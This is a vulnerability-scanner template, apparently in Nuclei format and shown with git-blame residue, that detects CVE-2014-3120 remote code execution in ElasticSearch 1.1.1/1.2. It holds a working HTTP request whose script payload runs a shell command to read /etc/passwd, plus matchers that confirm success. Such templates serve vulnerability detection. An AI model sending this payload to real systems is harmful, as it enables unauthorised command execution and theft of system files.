2021-02-15 13:35:15 +00:00
|
|
|
id: CVE-2014-3120
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: ElasticSearch v1.1.1/1.2 RCE
|
|
|
|
author: pikpikcu
|
|
|
|
severity: critical
|
|
|
|
reference: https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2014-3120
|
2021-02-15 17:08:00 +00:00
|
|
|
tags: cve,cve2014,elasticsearch,rce
|
2021-02-15 13:35:15 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /_search?pretty HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Accept: */*
|
|
|
|
Accept-Language: en
|
|
|
|
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
|
|
|
|
Connection: close
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
Content-Length: 343
|
|
|
|
|
|
|
|
{
|
|
|
|
"size": 1,
|
|
|
|
"query": {
|
|
|
|
"filtered": {
|
|
|
|
"query": {
|
|
|
|
"match_all": {
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
},
|
|
|
|
"script_fields": {
|
|
|
|
"command": {
|
|
|
|
"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"cat /etc/passwd\").getInputStream()).useDelimiter(\"\\\\A\").next();"
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
words:
|
|
|
|
- "application/json"
|
|
|
|
part: header
|
2021-02-15 17:08:00 +00:00
|
|
|
|
2021-02-15 13:35:15 +00:00
|
|
|
- type: regex
|
|
|
|
regex:
|
|
|
|
- "root:[x*]:0:0"
|
|
|
|
part: body
|
2021-02-15 17:08:00 +00:00
|
|
|
|
2021-02-15 13:35:15 +00:00
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|